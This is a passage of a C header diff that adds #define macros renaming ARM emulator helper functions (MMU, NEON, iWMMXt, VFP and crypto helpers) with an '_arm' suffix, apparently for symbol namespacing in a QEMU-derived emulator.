helper_be_ldsl_mmu_arm +#define helper_be_ldsw_mmu helper_be_ldsw_mmu_arm +#define helper_be_ldul_mmu helper_be_ldul_mmu_arm +#define helper_be_lduw_mmu helper_be_lduw_mmu_arm +#define helper_be_ldw_cmmu helper_be_ldw_cmmu_arm +#define helper_be_stl_mmu helper_be_stl_mmu_arm +#define helper_be_stq_mmu helper_be_stq_mmu_arm +#define helper_be_stw_mmu helper_be_stw_mmu_arm +#define helper_clear_pstate_ss helper_clear_pstate_ss_arm +#define helper_clz_arm helper_clz_arm_arm +#define helper_cpsr_read helper_cpsr_read_arm +#define helper_cpsr_write helper_cpsr_write_arm +#define helper_crc32_arm helper_crc32_arm_arm +#define helper_crc32c helper_crc32c_arm +#define helper_crypto_aese helper_crypto_aese_arm +#define helper_crypto_aesmc helper_crypto_aesmc_arm +#define helper_crypto_sha1_3reg helper_crypto_sha1_3reg_arm +#define helper_crypto_sha1h helper_crypto_sha1h_arm +#define helper_crypto_sha1su1 helper_crypto_sha1su1_arm +#define helper_crypto_sha256h helper_crypto_sha256h_arm +#define helper_crypto_sha256h2 helper_crypto_sha256h2_arm +#define helper_crypto_sha256su0 helper_crypto_sha256su0_arm +#define helper_crypto_sha256su1 helper_crypto_sha256su1_arm +#define helper_dc_zva helper_dc_zva_arm +#define helper_double_saturate helper_double_saturate_arm +#define helper_exception_internal helper_exception_internal_arm +#define helper_exception_return helper_exception_return_arm +#define helper_exception_with_syndrome helper_exception_with_syndrome_arm +#define helper_get_cp_reg helper_get_cp_reg_arm +#define helper_get_cp_reg64 helper_get_cp_reg64_arm +#define helper_get_r13_banked helper_get_r13_banked_arm +#define helper_get_user_reg helper_get_user_reg_arm +#define helper_iwmmxt_addcb helper_iwmmxt_addcb_arm +#define helper_iwmmxt_addcl helper_iwmmxt_addcl_arm +#define helper_iwmmxt_addcw helper_iwmmxt_addcw_arm +#define helper_iwmmxt_addnb helper_iwmmxt_addnb_arm +#define helper_iwmmxt_addnl helper_iwmmxt_addnl_arm +#define helper_iwmmxt_addnw helper_iwmmxt_addnw_arm +#define helper_iwmmxt_addsb helper_iwmmxt_addsb_arm +#define helper_iwmmxt_addsl helper_iwmmxt_addsl_arm +#define helper_iwmmxt_addsw helper_iwmmxt_addsw_arm +#define helper_iwmmxt_addub helper_iwmmxt_addub_arm +#define helper_iwmmxt_addul helper_iwmmxt_addul_arm +#define helper_iwmmxt_adduw helper_iwmmxt_adduw_arm +#define helper_iwmmxt_align helper_iwmmxt_align_arm +#define helper_iwmmxt_avgb0 helper_iwmmxt_avgb0_arm +#define helper_iwmmxt_avgb1 helper_iwmmxt_avgb1_arm +#define helper_iwmmxt_avgw0 helper_iwmmxt_avgw0_arm +#define helper_iwmmxt_avgw1 helper_iwmmxt_avgw1_arm +#define helper_iwmmxt_bcstb helper_iwmmxt_bcstb_arm +#define helper_iwmmxt_bcstl helper_iwmmxt_bcstl_arm +#define helper_iwmmxt_bcstw helper_iwmmxt_bcstw_arm +#define helper_iwmmxt_cmpeqb helper_iwmmxt_cmpeqb_arm +#define helper_iwmmxt_cmpeql helper_iwmmxt_cmpeql_arm +#define helper_iwmmxt_cmpeqw helper_iwmmxt_cmpeqw_arm +#define helper_iwmmxt_cmpgtsb helper_iwmmxt_cmpgtsb_arm +#define helper_iwmmxt_cmpgtsl helper_iwmmxt_cmpgtsl_arm +#define helper_iwmmxt_cmpgtsw helper_iwmmxt_cmpgtsw_arm +#define helper_iwmmxt_cmpgtub helper_iwmmxt_cmpgtub_arm +#define helper_iwmmxt_cmpgtul helper_iwmmxt_cmpgtul_arm +#define helper_iwmmxt_cmpgtuw helper_iwmmxt_cmpgtuw_arm +#define helper_iwmmxt_insr helper_iwmmxt_insr_arm +#define helper_iwmmxt_macsw helper_iwmmxt_macsw_arm +#define helper_iwmmxt_macuw helper_iwmmxt_macuw_arm +#define helper_iwmmxt_maddsq helper_iwmmxt_maddsq_arm +#define helper_iwmmxt_madduq helper_iwmmxt_madduq_arm +#define helper_iwmmxt_maxsb helper_iwmmxt_maxsb_arm +#define helper_iwmmxt_maxsl helper_iwmmxt_maxsl_arm +#define helper_iwmmxt_maxsw helper_iwmmxt_maxsw_arm +#define helper_iwmmxt_maxub helper_iwmmxt_maxub_arm +#define helper_iwmmxt_maxul helper_iwmmxt_maxul_arm +#define helper_iwmmxt_maxuw helper_iwmmxt_maxuw_arm +#define helper_iwmmxt_minsb helper_iwmmxt_minsb_arm +#define helper_iwmmxt_minsl helper_iwmmxt_minsl_arm +#define helper_iwmmxt_minsw helper_iwmmxt_minsw_arm +#define helper_iwmmxt_minub helper_iwmmxt_minub_arm +#define helper_iwmmxt_minul helper_iwmmxt_minul_arm +#define helper_iwmmxt_minuw helper_iwmmxt_minuw_arm +#define helper_iwmmxt_msbb helper_iwmmxt_msbb_arm +#define helper_iwmmxt_msbl helper_iwmmxt_msbl_arm +#define helper_iwmmxt_msbw helper_iwmmxt_msbw_arm +#define helper_iwmmxt_muladdsl helper_iwmmxt_muladdsl_arm +#define helper_iwmmxt_muladdsw helper_iwmmxt_muladdsw_arm +#define helper_iwmmxt_muladdswl helper_iwmmxt_muladdswl_arm +#define helper_iwmmxt_mulshw helper_iwmmxt_mulshw_arm +#define helper_iwmmxt_mulslw helper_iwmmxt_mulslw_arm +#define helper_iwmmxt_muluhw helper_iwmmxt_muluhw_arm +#define helper_iwmmxt_mululw helper_iwmmxt_mululw_arm +#define helper_iwmmxt_packsl helper_iwmmxt_packsl_arm +#define helper_iwmmxt_packsq helper_iwmmxt_packsq_arm +#define helper_iwmmxt_packsw helper_iwmmxt_packsw_arm +#define helper_iwmmxt_packul helper_iwmmxt_packul_arm +#define helper_iwmmxt_packuq helper_iwmmxt_packuq_arm +#define helper_iwmmxt_packuw helper_iwmmxt_packuw_arm +#define helper_iwmmxt_rorl helper_iwmmxt_rorl_arm +#define helper_iwmmxt_rorq helper_iwmmxt_rorq_arm +#define helper_iwmmxt_rorw helper_iwmmxt_rorw_arm +#define helper_iwmmxt_sadb helper_iwmmxt_sadb_arm +#define helper_iwmmxt_sadw helper_iwmmxt_sadw_arm +#define helper_iwmmxt_setpsr_nz helper_iwmmxt_setpsr_nz_arm +#define helper_iwmmxt_shufh helper_iwmmxt_shufh_arm +#define helper_iwmmxt_slll helper_iwmmxt_slll_arm +#define helper_iwmmxt_sllq helper_iwmmxt_sllq_arm +#define helper_iwmmxt_sllw helper_iwmmxt_sllw_arm +#define helper_iwmmxt_sral helper_iwmmxt_sral_arm +#define helper_iwmmxt_sraq helper_iwmmxt_sraq_arm +#define helper_iwmmxt_sraw helper_iwmmxt_sraw_arm +#define helper_iwmmxt_srll helper_iwmmxt_srll_arm +#define helper_iwmmxt_srlq helper_iwmmxt_srlq_arm +#define helper_iwmmxt_srlw helper_iwmmxt_srlw_arm +#define helper_iwmmxt_subnb helper_iwmmxt_subnb_arm +#define helper_iwmmxt_subnl helper_iwmmxt_subnl_arm +#define helper_iwmmxt_subnw helper_iwmmxt_subnw_arm +#define helper_iwmmxt_subsb helper_iwmmxt_subsb_arm +#define helper_iwmmxt_subsl helper_iwmmxt_subsl_arm +#define helper_iwmmxt_subsw helper_iwmmxt_subsw_arm +#define helper_iwmmxt_subub helper_iwmmxt_subub_arm +#define helper_iwmmxt_subul helper_iwmmxt_subul_arm +#define helper_iwmmxt_subuw helper_iwmmxt_subuw_arm +#define helper_iwmmxt_unpackhb helper_iwmmxt_unpackhb_arm +#define helper_iwmmxt_unpackhl helper_iwmmxt_unpackhl_arm +#define helper_iwmmxt_unpackhsb helper_iwmmxt_unpackhsb_arm +#define helper_iwmmxt_unpackhsl helper_iwmmxt_unpackhsl_arm +#define helper_iwmmxt_unpackhsw helper_iwmmxt_unpackhsw_arm +#define helper_iwmmxt_unpackhub helper_iwmmxt_unpackhub_arm +#define helper_iwmmxt_unpackhul helper_iwmmxt_unpackhul_arm +#define helper_iwmmxt_unpackhuw helper_iwmmxt_unpackhuw_arm +#define helper_iwmmxt_unpackhw helper_iwmmxt_unpackhw_arm +#define helper_iwmmxt_unpacklb helper_iwmmxt_unpacklb_arm +#define helper_iwmmxt_unpackll helper_iwmmxt_unpackll_arm +#define helper_iwmmxt_unpacklsb helper_iwmmxt_unpacklsb_arm +#define helper_iwmmxt_unpacklsl helper_iwmmxt_unpacklsl_arm +#define helper_iwmmxt_unpacklsw helper_iwmmxt_unpacklsw_arm +#define helper_iwmmxt_unpacklub helper_iwmmxt_unpacklub_arm +#define helper_iwmmxt_unpacklul helper_iwmmxt_unpacklul_arm +#define helper_iwmmxt_unpackluw helper_iwmmxt_unpackluw_arm +#define helper_iwmmxt_unpacklw helper_iwmmxt_unpacklw_arm +#define helper_ldb_cmmu helper_ldb_cmmu_arm +#define helper_ldb_mmu helper_ldb_mmu_arm +#define helper_ldl_cmmu helper_ldl_cmmu_arm +#define helper_ldl_mmu helper_ldl_mmu_arm +#define helper_ldq_cmmu helper_ldq_cmmu_arm +#define helper_ldq_mmu helper_ldq_mmu_arm +#define helper_ldw_cmmu helper_ldw_cmmu_arm +#define helper_ldw_mmu helper_ldw_mmu_arm +#define helper_le_ldl_cmmu helper_le_ldl_cmmu_arm +#define helper_le_ldq_cmmu helper_le_ldq_cmmu_arm +#define helper_le_ldq_mmu helper_le_ldq_mmu_arm +#define helper_le_ldsl_mmu helper_le_ldsl_mmu_arm +#define helper_le_ldsw_mmu helper_le_ldsw_mmu_arm +#define helper_le_ldul_mmu helper_le_ldul_mmu_arm +#define helper_le_lduw_mmu helper_le_lduw_mmu_arm +#define helper_le_ldw_cmmu helper_le_ldw_cmmu_arm +#define helper_le_stl_mmu helper_le_stl_mmu_arm +#define helper_le_stq_mmu helper_le_stq_mmu_arm +#define helper_le_stw_mmu helper_le_stw_mmu_arm +#define helper_msr_i_pstate helper_msr_i_pstate_arm +#define helper_neon_abd_f32 helper_neon_abd_f32_arm +#define helper_neon_abdl_s16 helper_neon_abdl_s16_arm +#define helper_neon_abdl_s32 helper_neon_abdl_s32_arm +#define helper_neon_abdl_s64 helper_neon_abdl_s64_arm +#define helper_neon_abdl_u16 helper_neon_abdl_u16_arm +#define helper_neon_abdl_u32 helper_neon_abdl_u32_arm +#define helper_neon_abdl_u64 helper_neon_abdl_u64_arm +#define helper_neon_abd_s16 helper_neon_abd_s16_arm +#define helper_neon_abd_s32 helper_neon_abd_s32_arm +#define helper_neon_abd_s8 helper_neon_abd_s8_arm +#define helper_neon_abd_u16 helper_neon_abd_u16_arm +#define helper_neon_abd_u32 helper_neon_abd_u32_arm +#define helper_neon_abd_u8 helper_neon_abd_u8_arm +#define helper_neon_abs_s16 helper_neon_abs_s16_arm +#define helper_neon_abs_s8 helper_neon_abs_s8_arm +#define helper_neon_acge_f32 helper_neon_acge_f32_arm +#define helper_neon_acge_f64 helper_neon_acge_f64_arm +#define helper_neon_acgt_f32 helper_neon_acgt_f32_arm +#define helper_neon_acgt_f64 helper_neon_acgt_f64_arm +#define helper_neon_addl_saturate_s32 helper_neon_addl_saturate_s32_arm +#define helper_neon_addl_saturate_s64 helper_neon_addl_saturate_s64_arm +#define helper_neon_addl_u16 helper_neon_addl_u16_arm +#define helper_neon_addl_u32 helper_neon_addl_u32_arm +#define helper_neon_add_u16 helper_neon_add_u16_arm +#define helper_neon_add_u8 helper_neon_add_u8_arm +#define helper_neon_ceq_f32 helper_neon_ceq_f32_arm +#define helper_neon_ceq_u16 helper_neon_ceq_u16_arm +#define helper_neon_ceq_u32 helper_neon_ceq_u32_arm +#define helper_neon_ceq_u8 helper_neon_ceq_u8_arm +#define helper_neon_cge_f32 helper_neon_cge_f32_arm +#define helper_neon_cge_s16 helper_neon_cge_s16_arm +#define helper_neon_cge_s32 helper_neon_cge_s32_arm +#define helper_neon_cge_s8 helper_neon_cge_s8_arm +#define helper_neon_cge_u16 helper_neon_cge_u16_arm +#define helper_neon_cge_u32 helper_neon_cge_u32_arm +#define helper_neon_cge_u8 helper_neon_cge_u8_arm +#define helper_neon_cgt_f32 helper_neon_cgt_f32_arm +#define helper_neon_cgt_s16 helper_neon_cgt_s16_arm +#define helper_neon_cgt_s32 helper_neon_cgt_s32_arm +#define helper_neon_cgt_s8 helper_neon_cgt_s8_arm +#define helper_neon_cgt_u16 helper_neon_cgt_u16_arm +#define helper_neon_cgt_u32 helper_neon_cgt_u32_arm +#define helper_neon_cgt_u8 helper_neon_cgt_u8_arm +#define helper_neon_cls_s16 helper_neon_cls_s16_arm +#define helper_neon_cls_s32 helper_neon_cls_s32_arm +#define helper_neon_cls_s8 helper_neon_cls_s8_arm +#define helper_neon_clz_u16 helper_neon_clz_u16_arm +#define helper_neon_clz_u8 helper_neon_clz_u8_arm +#define helper_neon_cnt_u8 helper_neon_cnt_u8_arm +#define helper_neon_fcvt_f16_to_f32 helper_neon_fcvt_f16_to_f32_arm +#define helper_neon_fcvt_f32_to_f16 helper_neon_fcvt_f32_to_f16_arm +#define helper_neon_hadd_s16 helper_neon_hadd_s16_arm +#define helper_neon_hadd_s32 helper_neon_hadd_s32_arm +#define helper_neon_hadd_s8 helper_neon_hadd_s8_arm +#define helper_neon_hadd_u16 helper_neon_hadd_u16_arm +#define helper_neon_hadd_u32 helper_neon_hadd_u32_arm +#define helper_neon_hadd_u8 helper_neon_hadd_u8_arm +#define helper_neon_hsub_s16 helper_neon_hsub_s16_arm +#define helper_neon_hsub_s32 helper_neon_hsub_s32_arm +#define helper_neon_hsub_s8 helper_neon_hsub_s8_arm +#define helper_neon_hsub_u16 helper_neon_hsub_u16_arm +#define helper_neon_hsub_u32 helper_neon_hsub_u32_arm +#define helper_neon_hsub_u8 helper_neon_hsub_u8_arm +#define helper_neon_max_s16 helper_neon_max_s16_arm +#define helper_neon_max_s32 helper_neon_max_s32_arm +#define helper_neon_max_s8 helper_neon_max_s8_arm +#define helper_neon_max_u16 helper_neon_max_u16_arm +#define helper_neon_max_u32 helper_neon_max_u32_arm +#define helper_neon_max_u8 helper_neon_max_u8_arm +#define helper_neon_min_s16 helper_neon_min_s16_arm +#define helper_neon_min_s32 helper_neon_min_s32_arm +#define helper_neon_min_s8 helper_neon_min_s8_arm +#define helper_neon_min_u16 helper_neon_min_u16_arm +#define helper_neon_min_u32 helper_neon_min_u32_arm +#define helper_neon_min_u8 helper_neon_min_u8_arm +#define helper_neon_mull_p8 helper_neon_mull_p8_arm +#define helper_neon_mull_s16 helper_neon_mull_s16_arm +#define helper_neon_mull_s8 helper_neon_mull_s8_arm +#define helper_neon_mull_u16 helper_neon_mull_u16_arm +#define helper_neon_mull_u8 helper_neon_mull_u8_arm +#define helper_neon_mul_p8 helper_neon_mul_p8_arm +#define helper_neon_mul_u16 helper_neon_mul_u16_arm +#define helper_neon_mul_u8 helper_neon_mul_u8_arm +#define helper_neon_narrow_high_u16 helper_neon_narrow_high_u16_arm +#define helper_neon_narrow_high_u8 helper_neon_narrow_high_u8_arm +#define helper_neon_narrow_round_high_u16 helper_neon_narrow_round_high_u16_arm +#define helper_neon_narrow_round_high_u8 helper_neon_narrow_round_high_u8_arm +#define helper_neon_narrow_sat_s16 helper_neon_narrow_sat_s16_arm +#define helper_neon_narrow_sat_s32 helper_neon_narrow_sat_s32_arm +#define helper_neon_narrow_sat_s8 helper_neon_narrow_sat_s8_arm +#define helper_neon_narrow_sat_u16 helper_neon_narrow_sat_u16_arm +#define helper_neon_narrow_sat_u32 helper_neon_narrow_sat_u32_arm +#define helper_neon_narrow_sat_u8 helper_neon_narrow_sat_u8_arm +#define helper_neon_narrow_u16 helper_neon_narrow_u16_arm +#define helper_neon_narrow_u8 helper_neon_narrow_u8_arm +#define helper_neon_negl_u16 helper_neon_negl_u16_arm +#define helper_neon_negl_u32 helper_neon_negl_u32_arm +#define helper_neon_paddl_u16 helper_neon_paddl_u16_arm +#define helper_neon_paddl_u32 helper_neon_paddl_u32_arm +#define helper_neon_padd_u16 helper_neon_padd_u16_arm +#define helper_neon_padd_u8 helper_neon_padd_u8_arm +#define helper_neon_pmax_s16 helper_neon_pmax_s16_arm +#define helper_neon_pmax_s8 helper_neon_pmax_s8_arm +#define helper_neon_pmax_u16 helper_neon_pmax_u16_arm +#define helper_neon_pmax_u8 helper_neon_pmax_u8_arm +#define helper_neon_pmin_s16 helper_neon_pmin_s16_arm +#define helper_neon_pmin_s8 helper_neon_pmin_s8_arm +#define helper_neon_pmin_u16 helper_neon_pmin_u16_arm +#define helper_neon_pmin_u8 helper_neon_pmin_u8_arm +#define helper_neon_pmull_64_hi helper_neon_pmull_64_hi_arm +#define helper_neon_pmull_64_lo helper_neon_pmull_64_lo_arm +#define helper_neon_qabs_s16 helper_neon_qabs_s16_arm +#define helper_neon_qabs_s32 helper_neon_qabs_s32_arm +#define helper_neon_qabs_s64 helper_neon_qabs_s64_arm +#define helper_neon_qabs_s8 helper_neon_qabs_s8_arm +#define helper_neon_qadd_s16 helper_neon_qadd_s16_arm +#define helper_neon_qadd_s32 helper_neon_qadd_s32_arm +#define helper_neon_qadd_s64 helper_neon_qadd_s64_arm +#define helper_neon_qadd_s8 helper_neon_qadd_s8_arm +#define helper_neon_qadd_u16 helper_neon_qadd_u16_arm +#define helper_neon_qadd_u32 helper_neon_qadd_u32_arm +#define helper_neon_qadd_u64 helper_neon_qadd_u64_arm +#define helper_neon_qadd_u8 helper_neon_qadd_u8_arm +#define helper_neon_qdmulh_s16 helper_neon_qdmulh_s16_arm +#define helper_neon_qdmulh_s32 helper_neon_qdmulh_s32_arm +#define helper_neon_qneg_s16 helper_neon_qneg_s16_arm +#define helper_neon_qneg_s32 helper_neon_qneg_s32_arm +#define helper_neon_qneg_s64 helper_neon_qneg_s64_arm +#define helper_neon_qneg_s8 helper_neon_qneg_s8_arm +#define helper_neon_qrdmulh_s16 helper_neon_qrdmulh_s16_arm +#define helper_neon_qrdmulh_s32 helper_neon_qrdmulh_s32_arm +#define helper_neon_qrshl_s16 helper_neon_qrshl_s16_arm +#define helper_neon_qrshl_s32 helper_neon_qrshl_s32_arm +#define helper_neon_qrshl_s64 helper_neon_qrshl_s64_arm +#define helper_neon_qrshl_s8 helper_neon_qrshl_s8_arm +#define helper_neon_qrshl_u16 helper_neon_qrshl_u16_arm +#define helper_neon_qrshl_u32 helper_neon_qrshl_u32_arm +#define helper_neon_qrshl_u64 helper_neon_qrshl_u64_arm +#define helper_neon_qrshl_u8 helper_neon_qrshl_u8_arm +#define helper_neon_qshl_s16 helper_neon_qshl_s16_arm +#define helper_neon_qshl_s32 helper_neon_qshl_s32_arm +#define helper_neon_qshl_s64 helper_neon_qshl_s64_arm +#define helper_neon_qshl_s8 helper_neon_qshl_s8_arm +#define helper_neon_qshl_u16 helper_neon_qshl_u16_arm +#define helper_neon_qshl_u32 helper_neon_qshl_u32_arm +#define helper_neon_qshl_u64 helper_neon_qshl_u64_arm +#define helper_neon_qshl_u8 helper_neon_qshl_u8_arm +#define helper_neon_qshlu_s16 helper_neon_qshlu_s16_arm +#define helper_neon_qshlu_s32 helper_neon_qshlu_s32_arm +#define helper_neon_qshlu_s64 helper_neon_qshlu_s64_arm +#define helper_neon_qshlu_s8 helper_neon_qshlu_s8_arm +#define helper_neon_qsub_s16 helper_neon_qsub_s16_arm +#define helper_neon_qsub_s32 helper_neon_qsub_s32_arm +#define helper_neon_qsub_s64 helper_neon_qsub_s64_arm +#define helper_neon_qsub_s8 helper_neon_qsub_s8_arm +#define helper_neon_qsub_u16 helper_neon_qsub_u16_arm +#define helper_neon_qsub_u32 helper_neon_qsub_u32_arm +#define helper_neon_qsub_u64 helper_neon_qsub_u64_arm +#define helper_neon_qsub_u8 helper_neon_qsub_u8_arm +#define helper_neon_qunzip16 helper_neon_qunzip16_arm +#define helper_neon_qunzip32 helper_neon_qunzip32_arm +#define helper_neon_qunzip8 helper_neon_qunzip8_arm +#define helper_neon_qzip16 helper_neon_qzip16_arm +#define helper_neon_qzip32 helper_neon_qzip32_arm +#define helper_neon_qzip8 helper_neon_qzip8_arm +#define helper_neon_rbit_u8 helper_neon_rbit_u8_arm +#define helper_neon_rhadd_s16 helper_neon_rhadd_s16_arm +#define helper_neon_rhadd_s32 helper_neon_rhadd_s32_arm +#define helper_neon_rhadd_s8 helper_neon_rhadd_s8_arm +#define helper_neon_rhadd_u16 helper_neon_rhadd_u16_arm +#define helper_neon_rhadd_u32 helper_neon_rhadd_u32_arm +#define helper_neon_rhadd_u8 helper_neon_rhadd_u8_arm +#define helper_neon_rshl_s16 helper_neon_rshl_s16_arm +#define helper_neon_rshl_s32 helper_neon_rshl_s32_arm +#define helper_neon_rshl_s64 helper_neon_rshl_s64_arm +#define helper_neon_rshl_s8 helper_neon_rshl_s8_arm +#define helper_neon_rshl_u16 helper_neon_rshl_u16_arm +#define helper_neon_rshl_u32 helper_neon_rshl_u32_arm +#define helper_neon_rshl_u64 helper_neon_rshl_u64_arm +#define helper_neon_rshl_u8 helper_neon_rshl_u8_arm +#define helper_neon_shl_s16 helper_neon_shl_s16_arm +#define helper_neon_shl_s32 helper_neon_shl_s32_arm +#define helper_neon_shl_s64 helper_neon_shl_s64_arm +#define helper_neon_shl_s8 helper_neon_shl_s8_arm +#define helper_neon_shl_u16 helper_neon_shl_u16_arm +#define helper_neon_shl_u32 helper_neon_shl_u32_arm +#define helper_neon_shl_u64 helper_neon_shl_u64_arm +#define helper_neon_shl_u8 helper_neon_shl_u8_arm +#define helper_neon_sqadd_u16 helper_neon_sqadd_u16_arm +#define helper_neon_sqadd_u32 helper_neon_sqadd_u32_arm +#define helper_neon_sqadd_u64 helper_neon_sqadd_u64_arm +#define helper_neon_sqadd_u8 helper_neon_sqadd_u8_arm +#define helper_neon_subl_u16 helper_neon_subl_u16_arm +#define helper_neon_subl_u32 helper_neon_subl_u32_arm +#define helper_neon_sub_u16 helper_neon_sub_u16_arm +#define helper_neon_sub_u8 helper_neon_sub_u8_arm +#define helper_neon_tbl helper_neon_tbl_arm +#define helper_neon_tst_u16 helper_neon_tst_u16_arm +#define helper_neon_tst_u32 helper_neon_tst_u32_arm +#define helper_neon_tst_u8 helper_neon_tst_u8_arm +#define helper_neon_unarrow_sat16 helper_neon_unarrow_sat16_arm +#define helper_neon_unarrow_sat32 helper_neon_unarrow_sat32_arm +#define helper_neon_unarrow_sat8 helper_neon_unarrow_sat8_arm +#define helper_neon_unzip16 helper_neon_unzip16_arm +#define helper_neon_unzip8 helper_neon_unzip8_arm +#define helper_neon_uqadd_s16 helper_neon_uqadd_s16_arm +#define helper_neon_uqadd_s32 helper_neon_uqadd_s32_arm +#define helper_neon_uqadd_s64 helper_neon_uqadd_s64_arm +#define helper_neon_uqadd_s8 helper_neon_uqadd_s8_arm +#define helper_neon_widen_s16 helper_neon_widen_s16_arm +#define helper_neon_widen_s8 helper_neon_widen_s8_arm +#define helper_neon_widen_u16 helper_neon_widen_u16_arm +#define helper_neon_widen_u8 helper_neon_widen_u8_arm +#define helper_neon_zip16 helper_neon_zip16_arm +#define helper_neon_zip8 helper_neon_zip8_arm +#define helper_pre_hvc helper_pre_hvc_arm +#define helper_pre_smc helper_pre_smc_arm +#define helper_qadd16 helper_qadd16_arm +#define helper_qadd8 helper_qadd8_arm +#define helper_qaddsubx helper_qaddsubx_arm +#define helper_qsub16 helper_qsub16_arm +#define helper_qsub8 helper_qsub8_arm +#define helper_qsubaddx helper_qsubaddx_arm +#define helper_rbit helper_rbit_arm +#define helper_recpe_f32 helper_recpe_f32_arm +#define helper_recpe_f64 helper_recpe_f64_arm +#define helper_recpe_u32 helper_recpe_u32_arm +#define helper_recps_f32 helper_recps_f32_arm +#define helper_ret_ldb_cmmu helper_ret_ldb_cmmu_arm +#define helper_ret_ldsb_mmu helper_ret_ldsb_mmu_arm +#define helper_ret_ldub_mmu helper_ret_ldub_mmu_arm +#define helper_ret_stb_mmu helper_ret_stb_mmu_arm +#define helper_rintd helper_rintd_arm +#define helper_rintd_exact helper_rintd_exact_arm +#define helper_rints helper_rints_arm +#define helper_rints_exact helper_rints_exact_arm +#define helper_ror_cc helper_ror_cc_arm +#define helper_rsqrte_f32 helper_rsqrte_f32_arm +#define helper_rsqrte_f64 helper_rsqrte_f64_arm +#define helper_rsqrte_u32 helper_rsqrte_u32_arm +#define helper_rsqrts_f32 helper_rsqrts_f32_arm +#define helper_sadd16 helper_sadd16_arm +#define helper_sadd8 helper_sadd8_arm +#define helper_saddsubx helper_saddsubx_arm +#define helper_sar_cc helper_sar_cc_arm +#define helper_sdiv helper_sdiv_arm +#define helper_sel_flags helper_sel_flags_arm +#define helper_set_cp_reg helper_set_cp_reg_arm +#define helper_set_cp_reg64 helper_set_cp_reg64_arm +#define helper_set_neon_rmode helper_set_neon_rmode_arm +#define helper_set_r13_banked helper_set_r13_banked_arm +#define helper_set_rmode helper_set_rmode_arm +#define helper_set_user_reg helper_set_user_reg_arm +#define helper_shadd16 helper_shadd16_arm +#define helper_shadd8 helper_shadd8_arm +#define helper_shaddsubx helper_shaddsubx_arm +#define helper_shl_cc helper_shl_cc_arm +#define helper_shr_cc helper_shr_cc_arm +#define helper_shsub16 helper_shsub16_arm +#define helper_shsub8 helper_shsub8_arm +#define helper_shsubaddx helper_shsubaddx_arm +#define helper_ssat helper_ssat_arm +#define helper_ssat16 helper_ssat16_arm +#define helper_ssub16 helper_ssub16_arm +#define helper_ssub8 helper_ssub8_arm +#define helper_ssubaddx helper_ssubaddx_arm +#define helper_stb_mmu helper_stb_mmu_arm +#define helper_stl_mmu helper_stl_mmu_arm +#define helper_stq_mmu helper_stq_mmu_arm +#define helper_stw_mmu helper_stw_mmu_arm +#define helper_sub_saturate helper_sub_saturate_arm +#define helper_sub_usaturate helper_sub_usaturate_arm +#define helper_sxtb16 helper_sxtb16_arm +#define helper_uadd16 helper_uadd16_arm +#define helper_uadd8 helper_uadd8_arm +#define helper_uaddsubx helper_uaddsubx_arm +#define helper_udiv helper_udiv_arm +#define helper_uhadd16 helper_uhadd16_arm +#define helper_uhadd8 helper_uhadd8_arm +#define helper_uhaddsubx helper_uhaddsubx_arm +#define helper_uhsub16 helper_uhsub16_arm +#define helper_uhsub8 helper_uhsub8_arm +#define helper_uhsubaddx helper_uhsubaddx_arm +#define helper_uqadd16 helper_uqadd16_arm +#define helper_uqadd8 helper_uqadd8_arm +#define helper_uqaddsubx helper_uqaddsubx_arm +#define helper_uqsub16 helper_uqsub16_arm +#define helper_uqsub8 helper_uqsub8_arm +#define helper_uqsubaddx helper_uqsubaddx_arm +#define helper_usad8 helper_usad8_arm +#define helper_usat helper_usat_arm +#define helper_usat16 helper_usat16_arm +#define helper_usub16 helper_usub16_arm +#define helper_usub8 helper_usub8_arm +#define helper_usubaddx helper_usubaddx_arm +#define helper_uxtb16 helper_uxtb16_arm +#define helper_v7m_mrs helper_v7m_mrs_arm +#define helper_v7m_msr helper_v7m_msr_arm +#define helper_vfp_absd helper_vfp_absd_arm +#define helper_vfp_abss helper_vfp_abss_arm +#define helper_vfp_addd helper_vfp_addd_arm +#define helper_vfp_adds helper_vfp_adds_arm +#define helper_vfp_cmpd helper_vfp_cmpd_arm +#define helper_vfp_cmped helper_vfp_cmped_arm +#define helper_vfp_cmpes helper_vfp_cmpes_arm +#define helper_vfp_cmps helper_vfp_cmps_arm +#define helper_vfp_divd helper_vfp_divd_arm +#define helper_vfp_divs helper_vfp_divs_arm +#define helper_vfp_fcvtds helper_vfp_fcvtds_arm +#define helper_vfp_fcvt_f16_to_f32 helper_vfp_fcvt_f16_to_f32_arm +#define helper_vfp_fcvt_f16_to_f64 helper_vfp_fcvt_f16_to_f64_arm +#define helper_vfp_fcvt_f32_to_f16 helper_vfp_fcvt_f32_to_f16_arm +#define helper_vfp_fcvt_f64_to_f16 helper_vfp_fcvt_f64_to_f16_arm +#define helper_vfp_fcvtsd helper_vfp_fcvtsd_arm +#define helper_vfp_get_fpscr helper_vfp_get_fpscr_arm +#define helper_vfp_maxd helper_vfp_maxd_arm +#define helper_vfp_maxnumd helper_vfp_maxnumd_arm +#define helper_vfp_maxnums helper_vfp_maxnums_arm +#define helper_vfp_maxs helper_vfp_maxs_arm +#define helper_vfp_mind helper_vfp_mind_arm +#define helper_vfp_minnumd helper_vfp_minnumd_arm +#define helper_vfp_minnums helper_vfp_minnums_arm +#define helper_vfp_mins helper_vfp_mins_arm +#define helper_vfp_muladdd helper_vfp_muladdd_arm +#define helper_vfp_muladds helper_vfp_muladds_arm +#define helper_vfp_muld helper_vfp_muld_arm +#define helper_vfp_muls helper_vfp_muls_arm +#define helper_vfp_negd helper_vfp_negd_arm +#define helper_vfp_negs helper_vfp_negs_arm +#define helper_vfp_set_fpscr helper_vfp_set_fpscr_arm +#define helper_vfp_shtod helper_vfp_shtod_arm +#define helper_vfp_shtos helper_vfp_shtos_arm +#define helper_vfp_sitod helper_vfp_sitod_arm +#define helper_vfp_sitos helper_vfp_sitos_arm +#define helper_vfp_sltod helper_vfp_sltod_arm +#define helper_vfp_sltos helper_vfp_sltos_arm +#define helper_vfp_sqrtd helper_vfp_sqrtd_arm +#define helper_vfp_sqrts helper_vfp_sqrts_arm +#define helper_vfp_sqtod helper_vfp_sqtod_arm +#define helper_vfp_sqtos helper_vfp_sqtos_arm +#define helper_vfp_subd helper_vfp_subd_arm +#define helper_vfp_subs helper_vfp_subs_arm +#define helper_vfp_toshd helper_vfp_toshd_arm +#define helper_vfp_toshd_round_to_zero helper_vfp_toshd_round_to_zero_arm +#define helper_vfp_toshs helper_vfp_toshs_arm +#define helper_vfp_toshs_round_to_zero helper_vfp_toshs_round_to_zero_arm +#define helper_vfp_tosid helper_vfp_tosid_arm +#define helper_vfp_tosis helper_vfp_tosis_arm +#define helper_vfp_tosizd helper_vfp_tosizd_arm +#define 